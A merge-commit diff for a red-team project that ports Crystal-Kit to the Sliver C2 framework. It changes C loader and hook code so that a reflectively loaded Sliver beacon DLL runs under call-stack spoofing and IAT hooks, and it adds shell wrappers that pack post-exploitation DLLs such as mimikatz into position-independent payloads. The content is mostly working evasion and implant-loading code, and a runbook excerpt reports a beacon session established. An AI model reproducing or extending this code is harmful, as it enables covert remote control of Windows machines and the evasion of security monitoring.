Merge pull request #1 from licitrasimone/feature-post-ex

Improve post-ex functionality and fix sliver bug
This commit is contained in:
Simone Licitra
2026-06-11 11:16:45 +02:00
committed by GitHub
15 changed files with 303 additions and 70 deletions
+7
View File
@@ -25,9 +25,16 @@ build/
*.jar
libtcg.x64.zip
# Per-operator config (engagement-specific paths, never commit)
.crystalenv
# OS / editor
.DS_Store
.vscode/
.idea/
*.swp
*~
# Claude Code
.claude/
MEMORY/
+5 -4
View File
@@ -6,7 +6,7 @@ This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/
- **License:** MIT — Copyright (c) 2026 Simone Licitra
- **Target:** Windows x64 only (upstream constraint)
- **Status:** build pipeline verified end-to-end on macOS / Linux. Windows runtime test pending.
- **Status:** verified end-to-end — Kali build pipeline + Windows 10 x64 FLARE-VM runtime. Sliver session established.
---
@@ -44,7 +44,7 @@ bundle-implant.sh → drop.zip (PICO + stager + READ
Windows VM: run.x64.exe sliver.crystal.bin
▼ Crystal Palace loader runs
unmask DLL → DllMain → HTTP beacon home
register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
```
### B — Post-ex evasion (SECONDARY)
@@ -131,7 +131,7 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
| Runtime execution on Windows | PENDING | Not yet tested — see RUNBOOK Phase 1 |
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` |
---
@@ -170,7 +170,8 @@ See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licens
- [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode
- [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end
- [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh`
- [x] 6d — Runtime test on Windows x64 lab (smoketest + real PICO, both flows)
- [x] 6d — Runtime test on Windows x64 lab — Use case A verified
---
+20 -6
View File
@@ -1,7 +1,7 @@
x64:
load "bin/pico.x64.o"
make object +disco
# merge the hook functions
load "bin/hooks.x64.o"
merge
@@ -25,7 +25,7 @@ x64:
# merge cfg code
load "bin/cfg.x64.o"
merge
# merge cleanup
load "bin/cleanup.x64.o"
merge
@@ -34,12 +34,24 @@ x64:
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "setup_memory" "__tag_setup_memory"
# hook functions in the DLL
# WinINet hooks
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
addhook "WININET$InternetOpenA" "_InternetOpenA"
addhook "WININET$InternetConnectA" "_InternetConnectA"
# Winsock hooks
addhook "WS2_32$WSAStartup" "_WSAStartup"
addhook "WS2_32$WSASocketA" "_WSASocketA"
# KERNEL32 hooks — full table restored so __resolve_hook is populated.
# KEY CHANGES vs original:
# _ExitThread: cleanup_memory removed (see pico.c) — was freeing dll_dst
# while the beacon goroutine was still running it (use-after-free).
# _Sleep: XOR mask removed (see pico.c) — XORing all DLL sections while
# Go goroutines on other threads keep executing was causing crashes.
# _CreateThread/_VirtualAlloc/_VirtualFree/_VirtualProtect/_CloseHandle:
# Draugr fallback to direct call added (see hooks.c) so goroutine
# threads always get a working result even if stack-spoof fails.
addhook "KERNEL32$CloseHandle" "_CloseHandle"
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
@@ -49,8 +61,8 @@ x64:
addhook "KERNEL32$ExitThread" "_ExitThread"
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
addhook "KERNEL32$HeapAlloc" "_HeapAlloc"
addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc"
addhook "KERNEL32$HeapFree" "_HeapFree"
addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc"
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
addhook "KERNEL32$OpenProcess" "_OpenProcess"
@@ -67,10 +79,12 @@ x64:
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
# OLE32 hooks
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
# hook functions in pico
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
# hook VirtualProtect in pico tradecraft itself (needed by mask.c)
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
mergelib "../libtcg.x64.zip"
+63 -22
View File
@@ -35,6 +35,21 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, L
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
/* KERNELBASE$ exports mirror KERNEL32$ on Win8+ but are not in any attach list.
* Used as safe fallbacks for the four functions that ARE in loader.spec's
* attach directives — adding KERNEL32$Foo() inside _Foo() would be rewritten
* to _Foo() by the linker, causing infinite recursion. */
DECLSPEC_IMPORT LPVOID WINAPI KERNELBASE$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT HMODULE WINAPI KERNELBASE$LoadLibraryA ( LPCSTR );
/* KERNEL32$ HeapAlloc/Free/ReAlloc declared here for fallback use.
* These are NOT in loader.spec's attach list so will not be rewritten. */
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T );
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
{
FUNCTION_CALL call = { 0 };
@@ -122,10 +137,14 @@ BOOL WINAPI _CloseHandle ( HANDLE hObject )
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hObject );
return ( BOOL ) spoof_call ( &call );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) {
result = KERNEL32$CloseHandle ( hObject );
}
return result;
}
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
@@ -190,7 +209,7 @@ HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T d
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
call.args [ 1 ] = spoof_arg ( dwStackSize );
call.args [ 2 ] = spoof_arg ( lpStartAddress );
@@ -198,7 +217,11 @@ HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T d
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
call.args [ 5 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
HANDLE result = ( HANDLE ) spoof_call ( &call );
if ( result == NULL ) {
result = KERNEL32$CreateThread ( lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId );
}
return result;
}
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
@@ -223,7 +246,7 @@ BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
call.args [ 1 ] = spoof_arg ( hSourceHandle );
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
@@ -232,7 +255,9 @@ BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle
call.args [ 5 ] = spoof_arg ( bInheritHandle );
call.args [ 6 ] = spoof_arg ( dwOptions );
return ( BOOL ) spoof_call ( &call );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$DuplicateHandle ( hSourceProcessHandle, hSourceHandle, hTargetProcessHandle, lpTargetHandle, dwDesiredAccess, bInheritHandle, dwOptions ); }
return result;
}
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
@@ -241,10 +266,12 @@ HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
return ( HMODULE ) spoof_call ( &call );
HMODULE result = ( HMODULE ) spoof_call ( &call );
if ( !result ) { result = KERNELBASE$LoadLibraryA ( lpLibFileName ); }
return result;
}
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
@@ -253,11 +280,13 @@ BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$GetThreadContext ( hThread, lpContext ); }
return result;
}
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
@@ -326,10 +355,12 @@ DWORD WINAPI _ResumeThread ( HANDLE hThread )
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hThread );
return ( DWORD ) spoof_call ( &call );
DWORD result = ( DWORD ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$ResumeThread ( hThread ); }
return result;
}
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
@@ -338,11 +369,13 @@ BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$SetThreadContext ( hThread, lpContext ); }
return result;
}
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
@@ -363,13 +396,15 @@ LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocatio
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flAllocationType );
call.args [ 3 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
LPVOID result = ( LPVOID ) spoof_call ( &call );
if ( !result ) { result = KERNELBASE$VirtualAlloc ( lpAddress, dwSize, flAllocationType, flProtect ); }
return result;
}
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
@@ -394,12 +429,14 @@ BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( dwFreeType );
return ( BOOL ) spoof_call ( &call );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) { result = KERNELBASE$VirtualFree ( lpAddress, dwSize, dwFreeType ); }
return result;
}
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
@@ -408,13 +445,15 @@ BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtec
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flNewProtect );
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) { result = KERNELBASE$VirtualProtect ( lpAddress, dwSize, flNewProtect, lpflOldProtect ); }
return result;
}
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
@@ -439,12 +478,14 @@ SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuf
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( lpBuffer );
call.args [ 2 ] = spoof_arg ( dwLength );
return ( SIZE_T ) spoof_call ( &call );
SIZE_T result = ( SIZE_T ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$VirtualQuery ( lpAddress, lpBuffer, dwLength ); }
return result;
}
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
+81 -4
View File
@@ -3,9 +3,11 @@
#include "memory.h"
#include "tcg.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOLEAN WINAPI NTDLL$RtlAddFunctionTable ( RUNTIME_FUNCTION *, DWORD, DWORD64 );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
@@ -132,9 +134,84 @@ void go ( )
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/*
* GetDataDirectory reads from dll_data->OptionalHeader which points into
* dll_src (the raw PE buffer). LoadSections only maps sections into
* dll_dst — the PE header area (offset 0..SizeOfHeaders-1) in dll_dst
* is all zeros after VirtualAlloc. Reading dll_dst->e_lfanew etc.
* would give zero and break every data-directory lookup. Always use
* GetDataDirectory() here instead.
*
* Exception table (.pdata): register before DllMain so Go's morestack
* and async-preemption paths can call RtlLookupFunctionEntry on beacon
* addresses. Use NTDLL$ — ntdll always exports RtlAddFunctionTable.
*/
{
IMAGE_DATA_DIRECTORY * exc = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_EXCEPTION );
if ( exc->VirtualAddress && exc->Size ) {
RUNTIME_FUNCTION * rf = ( RUNTIME_FUNCTION * ) ( dll_dst + exc->VirtualAddress );
DWORD count = exc->Size / sizeof ( RUNTIME_FUNCTION );
NTDLL$RtlAddFunctionTable ( rf, count, ( DWORD64 ) dll_dst );
}
/* TLS callbacks: call DLL_PROCESS_ATTACH before DllMain.
* Callback[0] is CRT static init (_initterm); read the directory
* from dll_dst (it's in a mapped section), but get the RVA from
* GetDataDirectory (not from the zero-filled header area). */
IMAGE_DATA_DIRECTORY * tls_dir = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_TLS );
if ( tls_dir->VirtualAddress ) {
IMAGE_TLS_DIRECTORY64 * tls = ( IMAGE_TLS_DIRECTORY64 * ) ( dll_dst + tls_dir->VirtualAddress );
PIMAGE_TLS_CALLBACK * cb_list = ( PIMAGE_TLS_CALLBACK * ) ( ULONG_PTR ) tls->AddressOfCallBacks;
if ( cb_list ) {
for ( PIMAGE_TLS_CALLBACK * cb = cb_list; *cb; cb++ ) {
( *cb ) ( ( PVOID ) dll_dst, DLL_PROCESS_ATTACH, NULL );
}
}
}
}
/*
* Save export RVA now, before VirtualFree(dll_src).
* GetDataDirectory returns a pointer into dll_src; after VirtualFree
* that pointer is dangling. The export directory DATA itself is in a
* mapped section (dll_dst), so we only need the RVA saved here.
*/
DWORD export_rva = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_EXPORT )->VirtualAddress;
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
/*
* Sliver session beacons export StartW as the explicit C2-loop entry
* point. Walk the export table (data lives in dll_dst sections) and
* call it directly. export_rva was captured above before dll_src was
* freed.
*/
typedef void ( * STARTW_FUNC ) ( void );
if ( export_rva != 0 )
{
IMAGE_EXPORT_DIRECTORY * exp = ( IMAGE_EXPORT_DIRECTORY * ) ( dll_dst + export_rva );
DWORD * names = ( DWORD * ) ( dll_dst + exp->AddressOfNames );
WORD * ordinals = ( WORD * ) ( dll_dst + exp->AddressOfNameOrdinals );
DWORD * functions = ( DWORD * ) ( dll_dst + exp->AddressOfFunctions );
for ( DWORD i = 0; i < exp->NumberOfNames; i++ )
{
char * name = ( char * ) ( dll_dst + names [ i ] );
if ( name[0]=='S' && name[1]=='t' && name[2]=='a' && name[3]=='r' &&
name[4]=='t' && name[5]=='W' && name[6]=='\0' )
{
( ( STARTW_FUNC ) ( dll_dst + functions [ ordinals [ i ] ] ) ) ( );
break;
}
}
}
/* StartW returns immediately after spawning the beacon goroutine.
* Keep this thread alive so the Go scheduler can run the beacon. */
KERNEL32$Sleep ( 0xFFFFFFFF );
}
+21 -19
View File
@@ -59,38 +59,37 @@ VOID WINAPI _Sleep ( DWORD dwMilliseconds )
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
/*
* for performance reasons, only mask
* memory if sleep time is equal to
* or greater than 1 second
* XOR sleep mask deliberately omitted for Go/Sliver compatibility.
* The mask XORs all beacon DLL sections in-place; Go's scheduler runs
* other goroutines on other OS threads while this thread is sleeping,
* so those threads would execute XOR-scrambled code → crash.
* Stack-spoof the Sleep call only.
*/
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, TRUE );
}
spoof_call ( &call );
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, FALSE );
}
}
VOID WINAPI _ExitThread ( DWORD dwExitCode )
{
/* free memory */
cleanup_memory ( &g_memory );
/* call the real exit thread */
/*
* cleanup_memory deliberately omitted for Go/Sliver compatibility.
* The original code freed dll_dst + pico_code here, which was correct
* for single-threaded CS beacons (one ExitThread = beacon done).
* For Go DLLs, Go's init goroutine calls ExitThread when runtime.main()
* returns, but the beacon goroutine is still alive and running beacon
* code from dll_dst. Freeing dll_dst here = use-after-free crash.
* Just stack-spoof the ExitThread call; the OS will reclaim memory when
* the process eventually exits.
*/
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwExitCode );
call.args [ 0 ] = spoof_arg ( dwExitCode );
spoof_call ( &call );
}
@@ -109,6 +108,7 @@ LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes )
call.args [ 2 ] = spoof_arg ( dwBytes );
result = ( LPVOID ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$HeapAlloc ( hHeap, dwFlags, dwBytes ); }
/* store a record of this heap allocation */
@@ -135,6 +135,7 @@ LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T d
call.args [ 3 ] = spoof_arg ( dwBytes );
LPVOID result = ( LPVOID ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$HeapReAlloc ( hHeap, dwFlags, lpMem, dwBytes ); }
if ( result )
{
@@ -175,6 +176,7 @@ BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem )
call.args [ 2 ] = spoof_arg ( lpMem );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( !result ) { result = KERNEL32$HeapFree ( hHeap, dwFlags, lpMem ); }
if ( result )
{
@@ -134,7 +134,8 @@ void go ( void * loader_arguments )
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* Pointer to DLL arguments */
char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
char * baked_args = GETRESOURCE ( _DLLARGS_ );
char * dll_arguments = loader_arguments ? (char *)loader_arguments : baked_args;
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
@@ -0,0 +1,5 @@
# Copy to .crystalenv and fill in your path.
# .crystalenv is git-ignored — safe for engagement-specific paths.
# All sliver-glue scripts source this automatically if present.
CRYSTAL_PALACE_HOME=/home/operator/external/crystalpalace/dist
@@ -17,7 +17,10 @@
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
IMPLANT_BIN="${1:?Usage: bundle-implant.sh <implant.bin> [output.zip]}"
OUTPUT="${2:-./build/crystal-implant-drop.zip}"
@@ -20,6 +20,12 @@
"desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant",
"type": "file",
"optional": false
},
{
"name": "args",
"desc": "Optional command/args string passed to the post-ex DLL at runtime as lpReserved — overrides any args baked into the PICO at link time",
"type": "string",
"optional": true
}
]
}
@@ -24,7 +24,10 @@
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
usage() {
cat <<EOF
+13 -5
View File
@@ -17,11 +17,14 @@
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir (contains crystalpalace.jar + link script)}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-file] [output.bin]}"
ARGS_FILE="${2:-}"
OUTPUT="${3:-./build/crystal-postex.x64.bin}"
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-string-or-file] [output.bin]}"
ARGS_INPUT="${2:-}"
OUTPUT="${3:-./build/$(basename "$INPUT_DLL" .dll).pico.bin}"
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
POSTEX_DIR="$REPO_ROOT/postex-loader"
@@ -32,9 +35,14 @@ mkdir -p "$BUILD_DIR"
# Resolve OUTPUT to absolute path BEFORE we cd into postex-loader
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
if [[ -z "$ARGS_FILE" ]]; then
if [[ -z "$ARGS_INPUT" ]]; then
ARGS_FILE="$BUILD_DIR/empty.args"
: > "$ARGS_FILE"
elif [[ -f "$ARGS_INPUT" ]]; then
ARGS_FILE="$ARGS_INPUT"
else
ARGS_FILE="$BUILD_DIR/args.tmp"
printf '%s' "$ARGS_INPUT" > "$ARGS_FILE"
fi
ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")"
+47
View File
@@ -0,0 +1,47 @@
#!/usr/bin/env bash
#
# postex.sh — one-shot post-ex wrapper: DLL → PICO → ready-to-paste Sliver command
#
# Usage:
# ./postex.sh <dll> [args-string]
#
# Wraps the DLL through Crystal Palace into a named PICO, then prints the
# ready-to-paste Sliver command. PICO is named after the input DLL
# (e.g. mimikatz.dll → build/mimikatz.pico.bin).
#
# If args-string is given it is baked into the PICO at link time.
# For runtime-dynamic args (no rebuild needed), use args= directly in Sliver.
#
# Required: CRYSTAL_PALACE_HOME in env OR set in sliver-glue/.crystalenv
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
INPUT_DLL="${1:?Usage: postex.sh <dll> [args-string]}"
ARGS_INPUT="${2:-}"
BASENAME="$(basename "$INPUT_DLL" .dll)"
OUTPUT="$SCRIPT_DIR/build/${BASENAME}.pico.bin"
"$SCRIPT_DIR/generate.sh" "$INPUT_DLL" "$ARGS_INPUT" "$OUTPUT"
echo ""
echo "══════════════════════════════════════════════════════════"
echo "[+] PICO: $OUTPUT"
echo ""
echo " Paste into sliver-client:"
echo " crystal payload=$OUTPUT"
echo ""
echo " With runtime args (overrides baked args, no rebuild):"
echo " crystal payload=$OUTPUT args=\"<command string>\""
echo ""
TARBALL="$SCRIPT_DIR/build/crystal-loader-0.1.0.tar.gz"
if [[ -f "$TARBALL" ]]; then
echo " One-time extension install (skip if already loaded):"
echo " extensions install $TARBALL"
echo ""
fi
echo "══════════════════════════════════════════════════════════"
@@ -60,6 +60,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
return 2;
}
/* optional runtime args string (second extension argument, type string) */
int args_len = 0;
char *runtime_args = BeaconDataExtract(&parser, &args_len);
/*
* Allocate RWX. The PICO does its own VirtualProtect calls internally
* (see postex-loader/src/loader.c fix_section_permissions). Starting
@@ -82,7 +86,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
emit(callback, "[crystal-loader] executing PICO\n");
pico_entry_t entry = (pico_entry_t)pico_mem;
entry(NULL);
entry((args_len > 0) ? runtime_args : NULL);
/*
* Intentionally NOT freeing pico_mem. Crystal Palace's loader chain
+20 -6
View File
@@ -231,12 +231,15 @@ Execution order inside `run.x64.exe`:
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
3. Crystal Palace loader resolves the Win32 APIs it needs via ror13 hashing
3. Crystal Palace loader resolves Win32 APIs via ror13 hashing
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
5. Installs Draugr call-stack spoof
6. Unmasks (XOR) the embedded Sliver DLL
7. Calls Sliver's `DllMain(DLL_PROCESS_ATTACH)`
8. Sliver implant initializes and beacons home
5. Installs Draugr call-stack spoofing
6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption)
8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init
10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine
11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines
On the Sliver console:
@@ -246,7 +249,18 @@ sliver > use 2
sliver (WIN10-LAB) > whoami
```
### 2.6 Iteration: measure detection
### 2.6 Common Phase 2 failures
| Symptom | Root cause | Fix |
|---|---|---|
